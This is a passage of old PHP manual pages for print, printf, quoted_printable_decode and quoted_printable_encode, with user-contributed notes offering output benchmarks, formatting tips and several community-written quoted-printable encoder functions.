echo "<a href=\"#\" class=\"stdbutton\" style=\"float:left;\" onclick=\"myfunction(); return false;\">My Link</a>\n";

//becomes - with printqn function

printqn("<a href=`#` class=`stdbutton` style=`float:left;` onclick=`myfunction(); return false;`>My Link</a>");

?>
phpnet at i3x171um dot com 21-May-2006 04:41
I have written a script to benchmark the several methods of outputting data in PHP: via single quotes, double quotes, heredoc, and printf. The script constructs a paragraph of text with each method. It performs this construction 10,000 times, then records how long it took. In total, it prints 160,000 times and records 16 timings. Here are the raw results.

Outputted straight to browser--

Single quotes: 2,813 ms
...with concatenation: 1,179 ms
Double quotes: 5,180 ms
...with concatenation: 3,937 ms
heredoc: 7,300 ms
...with concatenation: 6,288 ms
printf: 9,527 ms
...with concatenation: 8,564 ms

Outputted to the output buffer--

Single quotes: 8 ms
...with concatenation: 38 ms
Double quotes: 8 ms
...with concatenation: 47 ms
heredoc: 17 ms
...with concatenation: 49 ms
printf: 54 ms
...with concatenation: 52 ms

A nice graph of the script's output can be found here:
http://i3x171um.com/output_benchmarks/ob.gif

So what should you choose to print your text? I found several things out writing this.

First, it should be noted that the print and echo keywords are interchangeable, performance-wise. The timings show that one is probably an alias for the other. So use whichever you feel most comfortable with.

Second, if you've ever wondered which was better, the definitive answer is single quotes. Single quotes are at least four times faster in any situation. Double quotes, while more convenient, do pose a debatably significant performance issue when outputting massive amounts of data.

Third, stay away from heredoc, and absolutely stay away from [s]printf. They're slow, and the alternatives are there.

The source of my script can be found here:
http://i3x171um.com/output_benchmarks/ob.txt

DO NOT RUN THE SCRIPT ON THE INTERNET! Run it instead from localhost. The script outputs ~45 megabytes of text in an html comment at the top of the page by default. Expect the benchmark to take ~45 seconds. If this is too long, you can change the amount of iterations to a lower number (the results scale accurately down to about 1,000 iterations).
jon at tap dot net 05-Dec-2005 10:48
I have a small utility run from the command line that processes a potentially huge list of files. As it can take hours to complete, I stuck a

print '.';

statement in the body of the main loop to prove that something was  happening.

For reasons unknown to me, the utiliity suddenly started buffering the output such that it printed nothing until completion, defeating the purpose of the running monitor. Adding flush() statements did nothing. The problem was solved by using

fputs(STDOUT, '.');

but I have no idea why.
james-web at and dot org 26-Jul-2005 12:47
Note that if you want to dump the value of a variable, you want to use print_r(), var_dump() or var_export().
ejallison at gmail dot com 17-Jul-2005 12:10
This is a simple function for printing debug comments that I didn't think of for a long time. Maybe it'll serve you good too.

<?php

function printd($str) {
  if ($debug) { echo $str; }
}

// ...

if ($valueCalculatedEarlierInTheScript == 3) {
  doSomethingWithNoOutput();
  printd("doSomethingWithNoOutput() has executed.");
}

?>

It's mostly just to make sure everything is running without having to go through everything and put in echo "Step #whatever has executed" whenever something mysterious isn't working.
gem at rellim dot com 05-Nov-2004 10:28
HERE Documents can reference arrays as long as you enclose
the vars in {}.

Like this:

<?php

$line = array( 'title' => "Hello", 'date' => 'Today');

echo <<<EOT
Title: {$line['title']}
Date: {$line['date']}
EOT;

?>

Run this and get
Title: Hello
Date: Today

More info here, scroll down to "heredoc syntax":
http://www.php.net/manual/en/language.types.string.php


Output a formatted string

  • « print
  • quoted_printable_decode »
  • PHP Manual
  • String Functions
  • Output a formatted string

printf

(PHP 4, PHP 5)

printf — Output a formatted string

Description

int printf ( string $format [, mixed $args [, mixed $... ]] )

Produces output according to format.

Parameters

format

See sprintf() for a description of format.

args

...

Return Values

Returns the length of the outputted string.

See Also

  • print - Output a string
  • sprintf() - Return a formatted string
  • vprintf() - Output a formatted string
  • sscanf() - Parses input from a string according to a format
  • fscanf() - Parses input from a file according to a format
  • flush() - Flush system output buffer

User Contributed Notes

spiffytech at gmail dot com 16-Feb-2012 06:11
Be careful when relying on typecasting with printf(). For example,

    printf("%d", "17,999")

returns "17".
kalai_msc29 at rediffmail dot com 30-Mar-2007 08:04
//If you want to make many Hidden fields you can use the function
//You can pass the values as array value,This will help you, when you are going to post many hiddend fields:-
function MakeHidden($ArrValues)
    {
       global $dearvar;
       echo $dearvar;
       if(is_array($ArrValues)){
             foreach($ArrValues as $key=>$values)
              {
                 echo $MakeHTML = "<input type='hidden' name='$values' value='$values'>";
               }
      }

      else {
            echo $MakeHTML = "<input type='hidden' name='$ArrValues' value='$ArrValues'>";
         }
   return $MakeHTML;
}

//example:-

MakeHidden(array("value1","value2","value3"));

//OutPut :-

<input type="hidden" value="value1" name="value1"/>
<input type="hidden" value="value2" name="value2"/>
<input type="hidden" value="value3" name="value3"/>
php at mole dot gnubb dot net 10-Apr-2005 03:15
[Editor's Note: Or just use vprintf...]

If you want to do something like <?php printf('There is a difference between %s and %s', array('good', 'evil')); ?> (this doesn't work)  instead of <?php printf('There is a difference between %s and %s', 'good', 'evil'); ?> you can use this function:

<?php
function printf_array($format, $arr)
{
    return call_user_func_array('printf', array_merge((array)$format, $arr));
}
?>

Use it the following way:
<?php
$goodevil = array('good', 'evil');
printf_array('There is a difference between %s and %s', $goodevil);
?>
and it will print:
There is a difference between good and evil
codeslinger at compsalot dot com 30-Jan-2005 05:24
Several people have commented about problems with aligning numbers.  I just wanted to add a bit of clarification.

According to the spec all True Type Fonts (especially porpotional spaced fonts) use a fixed width for numeric digits.  All digits have the same width which is equal to the width of "0".

Where things go haywire when trying to align numbers is that the space character does not have the same width as a digit when using a porportional spaced font.

Therefore if you want to line up a column of numbers, you can not use leading spaces to position them unless you use the same quantity of space characters for each row. e.g. your numbers have leading zeros etc.

The simplest solution is to switch to a monospaced font.  Alternativly you can use positioning tags.

Summary: Your numbers will always line up properly regardless of the font used, if you get the starting position to be consistant.
lordfarquaad at notredomaine dot net 04-Mar-2004 03:48
In response to chris dot breen at accurate dot com :

This will work, but i didn't try:
<?php
$format = 'The %2$s contains %1$d monkeys.
         That is a nice %2$s full of %1$d monkeys.';
printf($format, $num, $location);
?>

Your problem came from the fact that in the string "\$s", the $ is simply escaped by the \, but but you must not do that with single quoted strings. Try to echo your strings to test it, or just go to http://www.php.net/manual/en/language.types.string.php
eugenew at starhub dot net dot sg 20-Dec-2002 06:13
If anyone is looking for writing a quine using printf(),
this is my example:

<?php $f='<?php $f=%c%s%c; printf($f,39,$f,39); ?>'; printf($f,39,$f,39); ?>

This also helps those who are new to printf() see one way of using the 'mixed args' part, rather than just a single argument as in most examples I've seen.
dalu at uni SPAMHAM dot de 11-Dec-2002 07:43
copypasted from msdn

A format specification, which consists of optional and required fields, has the following form:

%[flags] [width] [.precision] [{h | l | I64 | L}]type

Each field of the format specification is a single character or a number signifying a particular format option. The simplest format specification contains only the percent sign and a type character (for example, %s). If a percent sign is followed by a character that has no meaning as a format field, the character is copied to stdout. For example, to print a percent-sign character, use %%.

The optional fields, which appear before the type character, control other aspects of the formatting, as follows:

type
Required character that determines whether the associated argument is interpreted as a character, a string, or a number (see the printf Type Field Characters table.
flags
Optional character or characters that control justification of output and printing of signs, blanks, decimal points, and octal and hexadecimal prefixes (see the Flag Characters table). More than one flag can appear in a format specification.
width
Optional number that specifies the minimum number of characters output (see printf Width Specification).
precision
Optional number that specifies the maximum number of characters printed for all or part of the output field, or the minimum number of digits printed for integer values (see the How Precision Values Affect Type table).
h | l | I64 | L
Optional prefixes to type-that specify the size of argument (see the Size Prefixes for printf and wprintf Format-Type Specifiers table).
sam[NOSPAM] at [NOSPAM]kingdomfaith dot com 28-Jun-2002 09:45
I don't know if this is useful to anyone, but here goes! Example for using the printf function to output an object.

class person
{
    var $name = "";
    function name($newname = NULL)
    {
        if(! is_null($newname))
        {
            $this->name=$newname;
        }
        return $this->name;
    }
    var $surname = "";
    function surname($newsurname = NULL)
    {
        if(! is_null($newsurname))
        {
            $this->surname=$newsurname;
        }
        return $this->surname;
    }
    var $age = "";
    function age($newage = NULL)
    {
        if(! is_null($newage))
        {
            $this->age=$newage;
        }
        return $this->age;
    }
}

$bob = new person;
$bob->name('Bob');
$bob->surname('Builder');
$bob->age('50');

printf("Hi %s, your surname is %s and you are %s years old", $bob->name, $bob->surname, $bob->age);

Outputs:

Hi Bob, your surname is Builder and you are 50 years old
maybird99 at yahoo dot com 26-Feb-2002 04:20
instead of writing a function to round off a float (let's call it 'x') accurately, it's much easier to add a small number to x and then truncate it...
For example: if you want to round off to the nearest integer, just add 0.5 to x and then truncate it. if x=12.6, then it would calculate 13.1, and truncate it to 13. If x=14.4, it would calculate 14.9 and truncate it to 14.
ezislis at mail dot ru 10-Feb-2002 04:25
be careful with integers, they cant hold large values.

printf("%d",10023123553.45634663);
will print out: 1433188961
and
printf("%.0f",10023123553.45634663);
will print out: 10023123553
deekayen at hotmail dot com 12-Oct-2001 02:54
You can use this function to format the decimal places in a number:

$num = 2.12;
printf("%.1f",$num);

prints:

2.1

see also: number_format()
shepard at ameth dot org 18-Sep-2001 04:37
Be sure that the output channel is available to write on before executing printf()!  Some functions in classes available from various sources (in my case, DB_Sql::query() in PHPLIB) assume that printing will work, even after the default output stream has been closed.

For me the issue was most notable in PHP4 session management when I was creating my own sess_write() handler.  Since I was unable to find any function that checks for the output stream that printf() uses, I just had to drop the crazy use of the printf(). (does some function already exist to check for the presence of an output stream?)
dhosek at excite dot com 05-Dec-1999 11:27
Be careful:
printf ("(9.95 * 100) = %d \n", (9.95 * 100));

'994'

First %d converts a float to an int by truncation.

Second floats are notorious for tiny little rounding errors.


Convert a quoted-printable string to an 8 bit string

  • Â« printf
  • quoted_printable_encode Â»
  • PHP Manual
  • String Functions
  • Convert a quoted-printable string to an 8 bit string

quoted_printable_decode

(PHP 4, PHP 5)

quoted_printable_decode — Convert a quoted-printable string to an 8 bit string

Description

string quoted_printable_decode ( string $str )

This function returns an 8-bit binary string corresponding to the decoded quoted printable string (according to » RFC2045, section 6.7, not » RFC2821, section 4.5.2, so additional periods are not stripped from the beginning of line).

This function is similar to imap_qprint(), except this one does not require the IMAP module to work.

Parameters

str

The input string.

Return Values

Returns the 8-bit binary string.

See Also

  • quoted_printable_encode() - Convert a 8 bit string to a quoted-printable string

User Contributed Notes

yual at inbox dot ru 24-Oct-2013 05:38
I use a hack for this bug:

$str = str_replace("=\r\n", '', quoted_printable_encode($str));
if (strlen($str) > 73) {$str = substr($str,0,74)."=\n".substr($str,74);}
feedr 06-Mar-2009 11:39
Another (improved) version of quoted_printable_encode(). Please note the order of the array elements in str_replace().
I've just rewritten the previous function for better readability.

<?php
if (!function_exists("quoted_printable_encode")) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7. Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces and CRLF pairs aren't encoded though.
  */
  function quoted_printable_encode($string) {
        $string = str_replace(array('%20', '%0D%0A', '%'), array(' ', "\r\n", '='), rawurlencode($string));
        $string = preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", $string);

        return $string;
  }
}
?>
andre at luyer dot nl 02-Nov-2008 09:36
A small update for Andrew's code below. This one leaves the original CRLF pairs intact (and allowing the preg_replace to work as intended):

<?php
if (!function_exists("quoted_printable_encode")) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7. Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces and CRLF pairs aren't encoded though.
  */
  function quoted_printable_encode($string) {
    return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n",
      str_replace("%", "=", str_replace("%0D%0A", "\r\n",
        str_replace("%20"," ",rawurlencode($string)))));
  }
}
?>

Regards, AndrÃ©
Karora 20-Oct-2008 05:27
Taking a bunch of the earlier comments together, you can synthesize a nice short and reasonably efficient quoted_printable_encode function like this:

Note that I put this in my standard library file, so I wrap it in a !function_exists in order that if there is a pre-existing PHP one it will just work and this will evaluate to a noop.

<?php
if ( !function_exists("quoted_printable_encode") ) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7.  Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces aren't encoded as =20 though.
  */
  function quoted_printable_encode($string) {
    return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", str_replace("%","=",str_replace("%20"," ",rawurlencode($string))));
  }
}
?>

Regards,
Andrew McMillan.
zg 27-Sep-2008 03:48
<?php

function quoted_printable_encode( $str, $chunkLen = 72 )
{
    $offset = 0;

    $str = strtr(rawurlencode($str), array('%' => '='));
    $len = strlen($str);
    $enc = '';

    while ( $offset < $len )
    {
        if ( $str{ $offset + $chunkLen - 1 } === '=' )
        {
            $line = substr($str, $offset, $chunkLen - 1);
            $offset += $chunkLen - 1;
        }
        elseif ( $str{ $offset + $chunkLen - 2 } === '=' )
        {
            $line = substr($str, $offset, $chunkLen - 2);
            $offset += $chunkLen - 2;
        }
        else
        {
            $line = substr($str, $offset, $chunkLen);
            $offset += $chunkLen;
        }

        if ( $offset + $chunkLen < $len )
            $enc .= $line ."=\n";
        else
            $enc .= $line;
    }

    return $enc;
}

?>
Christian Albrecht 25-Sep-2008 12:10
In Addition to david lionhead's function:

<?php
function quoted_printable_encode($txt) {
    /* Make sure there are no %20 or similar */
    $txt = rawurldecode($txt);
    $tmp="";
    $line="";
    for ($i=0;$i<strlen($txt);$i++) {
        if (($txt[$i]>='a' && $txt[$i]<='z') || ($txt[$i]>='A' && $txt[$i]<='Z') || ($txt[$i]>='0' && $txt[$i]<='9')) {
            $line.=$txt[$i];
            if (strlen($line)>=75) {
                $tmp.="$line=\n";
                $line="";
            }
        }
        else {
            /* Important to differentiate this case from the above */
            if (strlen($line)>=72) {
            $tmp.="$line=\n";
            $line="";
            }
            $line.="=".sprintf("%02X",ord($txt[$i]));
        }
    }
    $tmp.="$line\n";
    return $tmp;
}
?>
david at lionhead dot nl 18-Aug-2008 02:54
My version of quoted_printable encode, as the convert.quoted-printable-encode filter breaks on outlook express. This one seems to work on express/outlook/thunderbird/gmail.

function quoted_printable_encode($txt) {
    $tmp="";
    $line="";
    for ($i=0;$i<strlen($txt);$i++) {
        if (($txt[$i]>='a' && $txt[$i]<='z') || ($txt[$i]>='A' && $txt[$i]<='Z') || ($txt[$i]>='0' && $txt[$i]<='9'))
            $line.=$txt[$i];
        else
            $line.="=".sprintf("%02X",ord($txt[$i]));
        if (strlen($line)>=75) {
            $tmp.="$line=\n";
            $line="";
        }
    }
    $tmp.="$line\n";
    return $tmp;
}
Bobo 12-Jul-2008 06:20
Following up to Hoffa's function, return the result like:

chunk_split($string, 76, "=\n");

to conform to the RFC, which requires that lines are no longer than 76 chars.
h atnospam hoffa dotelidot se 01-Apr-2008 02:32
I do like this to encode

function quoted_printable_encode($string) {
  $string = rawurlencode($string);
  $string = str_replace("%","=",$string);
  RETURN $string;
}

best regards / Hoffa
vita dot plachy at seznam dot cz 23-Mar-2008 05:22
<?php
$text = <<<EOF
This function enables you to convert text to a quoted-printable string as well as to create encoded-words used in email headers (see http://www.faqs.org/rfcs/rfc2047.html).

No line of returned text will be longer than specified. Encoded-words will not contain a newline character. Special characters are removed.
EOF;

define('QP_LINE_LENGTH', 75);
define('QP_LINE_SEPARATOR', "\r\n");

function quoted_printable_encode($string, $encodedWord = false)
{
    if(!preg_match('//u', $string)) {
        throw new Exception('Input string is not valid UTF-8');
    }

    static $wordStart = '=?UTF-8?Q?';
    static $wordEnd = '?=';
    static $endl = QP_LINE_SEPARATOR;

    $lineLength = $encodedWord
        ? QP_LINE_LENGTH - strlen($wordStart) - strlen($wordEnd)
        : QP_LINE_LENGTH;

    $string = $encodedWord
        ? preg_replace('~[\r\n]+~', ' ', $string)    // we need encoded word to be single line
        : preg_replace('~\r\n?~', "\n", $string);    // normalize line endings
    $string = preg_replace('~[\x00-\x08\x0B-\x1F]+~', '', $string);    // remove control characters

    $output = $encodedWord ? $wordStart : '';
    $charsLeft = $lineLength;

    $chr = isset($string{0}) ? $string{0} : null;
    $ord = ord($chr);

    for ($i = 0; isset($chr); $i++) {
        $nextChr = isset($string{$i + 1}) ? $string{$i + 1} : null;
        $nextOrd = ord($nextChr);

        if (
            $ord > 127 or    // high byte value
            $ord === 95 or    // underscore "_"
            $ord === 63 && $encodedWord or    // "?" in encoded word
            $ord === 61 or    // equal sign "="
            // space or tab in encoded word or at line end
            $ord === 32 || $ord === 9 and $encodedWord || !isset($nextOrd) || $nextOrd === 10
        ) {
            $chr = sprintf('=%02X', $ord);
        }

        if ($ord === 10) {    // line feed
            $output .= $endl;
            $charsLeft = $lineLength;
        } elseif (
            strlen($chr) < $charsLeft or
            strlen($chr) === $charsLeft and $nextOrd === 10 || $encodedWord
        ) {    // add character
            $output .= $chr;
            $charsLeft-=strlen($chr);
        } elseif (isset($nextOrd)) {    // another line needed
            $output .= $encodedWord
                ? $wordEnd . $endl . "\t" . $wordStart . $chr
                : '=' . $endl . $chr;
            $charsLeft = $lineLength - strlen($chr);
        }

        $chr = $nextChr;
        $ord = $nextOrd;
    }

    return $output . ($encodedWord ? $wordEnd : '');
}

echo quoted_printable_encode($text/*, true*/);
ludwig at gramberg-webdesign dot de 24-Sep-2007 09:13
my approach for quoted printable encode using the stream converting abilities

<?php
/**
 * @param string $str
 * @return string
 * */
function quoted_printable_encode($str) {
    $fp = fopen('php://temp', 'w+');
    stream_filter_append($fp, 'convert.quoted-printable-encode');
    fwrite($fp, $str);
    fseek($fp, 0);
    $result = '';
    while(!feof($fp))
        $result .= fread($fp, 1024);
    fclose($fp);
    return $result;
}
?>
roelof 24-Jul-2007 04:06
I modified the below version of legolas558 at users dot sausafe dot net and added a wrapping option.

<?php
/**
 *    Codeer een String naar zogenaamde 'quoted printable'. Dit type van coderen wordt
 *    gebruikt om de content van 8 bit e-mail berichten als 7 bits te versturen.
 *
 *    @access public
 *    @param string    $str    De String die we coderen
 *    @param bool      $wrap   Voeg linebreaks toe na 74 tekens?
 *    @return string
 */

function quoted_printable_encode($str, $wrap=true)
{
    $return = '';
    $iL = strlen($str);
    for($i=0; $i<$iL; $i++)
    {
        $char = $str[$i];
        if(ctype_print($char) && !ctype_punct($char)) $return .= $char;
        else $return .= sprintf('=%02X', ord($char));
    }
    return ($wrap === true)
        ? wordwrap($return, 74, " =\n")
        : $return;
}

?>
legolas558 at users dot sausafe dot net 21-Feb-2007 08:09
As soletan at toxa dot de reported, that function is very bad and does not provide valid enquoted printable strings. While using it I saw spam agents marking the emails as QP_EXCESS and sometimes the email client did not recognize the header at all; I really lost time :(. This is the new version (we use it in the Drake CMS core) that works seamlessly:

<?php

//L: note $encoding that is uppercase
//L: also your PHP installation must have ctype_alpha, otherwise write it yourself
function quoted_printable_encode($string, $encoding='UTF-8') {
// use this function with headers, not with the email body as it misses word wrapping
       $len = strlen($string);
       $result = '';
       $enc = false;
       for($i=0;$i<$len;++$i) {
        $c = $string[$i];
        if (ctype_alpha($c))
            $result.=$c;
        else if ($c==' ') {
            $result.='_';
            $enc = true;
        } else {
            $result.=sprintf("=%02X", ord($c));
            $enc = true;
        }
       }
       //L: so spam agents won't mark your email with QP_EXCESS
       if (!$enc) return $string;
       return '=?'.$encoding.'?q?'.$result.'?=';
}

I hope it helps ;)

?>
soletan at toxa dot de 21-Feb-2007 12:54
Be warned! The method below for encoding text does not work as requested by RFC1521!

Consider a line consisting of 75 'A' and a single Ã© (or similar non-ASCII character) ... the method below would encode and return a line of 78 octets, breaking with RFC 1521, 5.1 Rule #5: "The Quoted-Printable encoding REQUIRES that encoded lines be no more than 76 characters long."

Good QP-encoding takes a bit more than this.
legolas558 12-Feb-2007 07:32
Please note that in the below encode function there is a bug!

<?php
if (($c==0x3d) || ($c>=0x80) || ($c<0x20))
?>

$c should be checked against less or equal to encode spaces!

so the correct code is

<?php
if (($c==0x3d) || ($c>=0x80) || ($c<=0x20))
?>

Fix the code or post this note, please
Thomas Pequet / Memotoo.com 19-Oct-2006 03:15
If you want a function to do the reverse of "quoted_printable_decode()", follow the link you will find the "quoted_printable_encode()" function:
http://www.memotoo.com/softs/public/PHP/quoted printable_encode.inc.php

Compatible "ENCODING=QUOTED-PRINTABLE"
Example:
quoted_printable_encode(ut8_encode("c'est quand l'Ã©tÃ© ?"))
-> "c'est quand l'=C3=A9t=C3=A9 ?"
steffen dot weber at computerbase dot de 22-Jul-2005 11:08
As the two digit hexadecimal representation SHOULD be in uppercase you want to use "=%02X" (uppercase X) instead of "=%02x" as the first argument to sprintf().
dmitry at koterov dot ru 19-Feb-2005 02:26
Previous comment has a bug: encoding of short test does not work because of incorrect usage of preg_match_all(). Have somebody read it at all? :-)

Correct version (seems), with additional imap_8bit() function emulation:

if (!function_exists('imap_8bit')) {
 function imap_8bit($text) {
   return quoted_printable_encode($text);
 }
}

function quoted_printable_encode_character ( $matches ) {
   $character = $matches[0];
   return sprintf ( '=%02x', ord ( $character ) );
}

// based on http://www.freesoft.org/CIE/RFC/1521/6.htm
function quoted_printable_encode ( $string ) {
   // rule #2, #3 (leaves space and tab characters in tact)
   $string = preg_replace_callback (
     '/[^\x21-\x3C\x3E-\x7E\x09\x20]/',
     'quoted_printable_encode_character',
     $string
   );
   $newline = "=\r\n"; // '=' + CRLF (rule #4)
   // make sure the splitting of lines does not interfere with escaped characters
   // (chunk_split fails here)
   $string = preg_replace ( '/(.{73}[^=]{0,3})/', '$1'.$newline, $string);
   return $string;
}
pob at medienrecht dot NOSPAM dot org 18-Jul-2001 10:06
If you do not have access to imap_* and do not want to use
»$message = chunk_split( base64_encode($message) );«
because you want to be able to read the »source« of your mails, you might want to try this:
(any suggestions very welcome!)

function qp_enc($input = "quoted-printable encoding test string", $line_max = 76) {

    $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
    $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
    $eol = "\r\n";
    $escape = "=";
    $output = "";

    while( list(, $line) = each($lines) ) {
        //$line = rtrim($line); // remove trailing white space -> no =20\r\n necessary
        $linlen = strlen($line);
        $newline = "";
        for($i = 0; $i < $linlen; $i++) {
            $c = substr($line, $i, 1);
            $dec = ord($c);
            if ( ($dec == 32) && ($i == ($linlen - 1)) ) { // convert space at eol only
                $c = "=20";
            } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
                $h2 = floor($dec/16); $h1 = floor($dec%16);
                $c = $escape.$hex["$h2"].$hex["$h1"];
            }
            if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
                $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
                $newline = "";
            }
            $newline .= $c;
        } // end of for
        $output .= $newline.$eol;
    }
    return trim($output);

}

$eight_bit = "\xA7 \xC4 \xD6 \xDC \xE4 \xF6 \xFC \xDF         =          xxx             yyy       zzz          \r\n"
            ." \xA7      \r \xC4 \n \xD6 \x09    ";
print $eight_bit."\r\n---------------\r\n";
$encoded = qp_enc($eight_bit);
print $encoded;
madmax at express dot ru 04-Aug-2000 02:41
Some  browser (netscape, for example)
send 8-bit quoted printable text like this:
=C5=DD=A3=D2=C1= =DA

"= =" means continuos word.
 php function not detect this situations and translate in string like:
 abcde=f


Convert a 8 bit string to a quoted-printable string

  • « quoted_printable_decode
  • quotemeta »
  • PHP Manual
  • String Functions
  • Convert a 8 bit string to a quoted-printable string

quoted_printable_encode

(PHP 5 >= 5.3.0)

quoted_printable_encode — Convert a 8 bit string to a quoted-printable string

Description

string quoted_printable_encode ( string $str )

Returns a quoted printable string created according to » RFC2045, section 6.7.

This function is similar to imap_8bit(), except this one does not require the IMAP module to work.

Parameters

str

The input string.

Return Values

Returns the encoded string.

See Also

  • quoted_printable_decode() - Convert a quoted-printable string to an 8 bit string
  • iconv_mime_encode() - Composes a MIME header field

User Contributed Notes

jurgen at edesign dot nl 02-Oct-2014 06:16
Both PHP's native implementation and the function of ericth at NOSPAM dot pennyworth dot com (below) contain an feature/error (usage for SMTP mismatch) which has been solved in my adjustment below.

The error causes a text containing period character(s), when passed through these functions, end up with encoded lines starting with a period character, the first period character on that line will be discarded when it is transported over SMTP.

Solution: add (another) leading '.' to period characters which would end up as first character on a line when encoded.

See http://stackoverflow.com/a/13949483: "This is a dirty artifact of your transport layer... SMTP is the most probable culprit (see the call for caution in the mail function documentation) but there may be other low level mecanisms that behave similarly. For example if you tweaked the sendmail_path setting or use a buggy sendmail program you may experience similar woes."

<?php
define('PHP_QPRINT_MAXL', 75);

function leading_dot_fixed_php_quot_print_encode($str)
{
    $lp = 0;
    $ret = '';
    $hex = "0123456789ABCDEF";
    $length = strlen($str);
    $str_index = 0;

    while ($length--) {
        if ((($c = $str[$str_index++]) == "\015") && ($str[$str_index] == "\012") && $length > 0) {
            $ret .= "\015";
            $ret .= $str[$str_index++];
            $length--;
            $lp = 0;
        } else {
            if (ctype_cntrl($c)
                || (ord($c) == 0x7f)
                || (ord($c) & 0x80)
                || ($c == '=')
                || (($c == ' ') && ($str[$str_index] == "\015")))
            {
                if (($lp += 3) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 3;
                }
                $ret .= '=';
                $ret .= $hex[ord($c) >> 4];
                $ret .= $hex[ord($c) & 0xf];
            }
            else
            {
                if ((++$lp) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 1;
                }
                $ret .= $c;
                if($lp == 1 && $c == '.') {
                    $ret .= '.';
                    $lp++;
                }
            }
        }
    }

    return $ret;
}

?>
ericth at NOSPAM dot pennyworth dot com 07-Oct-2011 10:46
I have re-written the PHP 5.3.8 function for quoted_printable_encode into PHP for use with PHP < 5.3.  Tested with PHP 5.2.11.

<?php
define('PHP_QPRINT_MAXL', 75);

function php_quot_print_encode($str)
{
    $lp = 0;
    $ret = '';
    $hex = "0123456789ABCDEF";
    $length = strlen($str);
    $str_index = 0;

    while ($length--) {
        if ((($c = $str[$str_index++]) == "\015") && ($str[$str_index] == "\012") && $length > 0) {
            $ret .= "\015";
            $ret .= $str[$str_index++];
            $length--;
            $lp = 0;
        } else {
            if (ctype_cntrl($c)
                || (ord($c) == 0x7f)
                || (ord($c) & 0x80)
                || ($c == '=')
                || (($c == ' ') && ($str[$str_index] == "\015")))
            {
                if (($lp += 3) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 3;
                }
                $ret .= '=';
                $ret .= $hex[ord($c) >> 4];
                $ret .= $hex[ord($c) & 0xf];
            }
            else
            {
                if ((++$lp) > PHP_QPRINT_MAXL)
                {
                    $ret .= '=';
                    $ret .= "\015";
                    $ret .= "\012";
                    $lp = 1;
                }
                $ret .= $c;
            }
        }
    }

    return $ret;
}

?>
arnaudv6 15-Aug-2011 05:56
One will like to know and clearly read that RFC2045 specifies a line shall not exceed 75 characters.
Accordingly, quoted_printable_encode() splits line at this limit.
Thorsten Glaser 24-Sep-2010 03:05
Two bugs:

1) your linebreak is wrong

                $linebreak = "\r\n";

2) continuation of lines with no whitespace is broken

                                        /*
                                         * the text after the whitespace will have to
                                         * be read again ( + any additional characters
                                         * that came into existence as a result of the
                                         * encoding process after the whitespace)
                                         *
                                         * Also, do not start at 0, if there was *no*
                                         * whitespace in the whole line
                                         */
                                        if (($i + $addtl_chars) > $whitesp_diff) {
                                                $output .= substr($cur_conv_line, 0,
                                                    (strlen($cur_conv_line) - $whitesp_diff)) .
                                                    $linebreak;
                                                $i = $i - $whitesp_diff + $addtl_chars;
                                        } else {
                                                /* emit continuation --mirabilos */
                                                $output .= $cur_conv_line .
                                                    '=' . $linebreak;
                                        }
tzangerl [dot] pdc {dot} kth dot se 09-Apr-2010 11:05
A function that QP-encodes an input string (written for PHP < 5.3) and
wordwraps it at the same time, in order to avoid classification according to the MIME QP LONG LINE rule of SpamAssassin.  Thanks for Matt Jeffers to point out errors in the below quoted_printable script!

<?php
function quoted_printable_encode($input, $line_max = 75) {
   $hex = array('0','1','2','3','4','5','6','7',
                          '8','9','A','B','C','D','E','F');
   $lines = preg_split("/(?:\r\n|\r|\n)/", $input);
   $linebreak = "=0D=0A=\r\n";
   /* the linebreak also counts as characters in the mime_qp_long_line
    * rule of spam-assassin */
   $line_max = $line_max - strlen($linebreak);
   $escape = "=";
   $output = "";
   $cur_conv_line = "";
   $length = 0;
   $whitespace_pos = 0;
   $addtl_chars = 0;

   // iterate lines
   for ($j=0; $j<count($lines); $j++) {
     $line = $lines[$j];
     $linlen = strlen($line);

     // iterate chars
     for ($i = 0; $i < $linlen; $i++) {
       $c = substr($line, $i, 1);
       $dec = ord($c);

       $length++;

       if ($dec == 32) {
          // space occurring at end of line, need to encode
          if (($i == ($linlen - 1))) {
             $c = "=20";
             $length += 2;
          }

          $addtl_chars = 0;
          $whitespace_pos = $i;
       } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) {
          $h2 = floor($dec/16); $h1 = floor($dec%16);
          $c = $escape . $hex["$h2"] . $hex["$h1"];
          $length += 2;
          $addtl_chars += 2;
       }

       // length for wordwrap exceeded, get a newline into the text
       if ($length >= $line_max) {
         $cur_conv_line .= $c;

         // read only up to the whitespace for the current line
         $whitesp_diff = $i - $whitespace_pos + $addtl_chars;

        /* the text after the whitespace will have to be read
         * again ( + any additional characters that came into
         * existence as a result of the encoding process after the whitespace)
         *
         * Also, do not start at 0, if there was *no* whitespace in
         * the whole line */
         if (($i + $addtl_chars) > $whitesp_diff) {
            $output .= substr($cur_conv_line, 0, (strlen($cur_conv_line) -
                           $whitesp_diff)) . $linebreak;
            $i =  $i - $whitesp_diff + $addtl_chars;
          } else {
            $output .= $cur_conv_line . $linebreak;
          }

        $cur_conv_line = "";
        $length = 0;
        $whitespace_pos = 0;
      } else {
        // length for wordwrap not reached, continue reading
        $cur_conv_line .= $c;
      }
    } // end of for

    $length = 0;
    $whitespace_pos = 0;
    $output .= $cur_conv_line;
    $cur_conv_line = "";

    if ($j<=count($lines)-1) {
      $output .= $linebreak;
    }
  } // end for

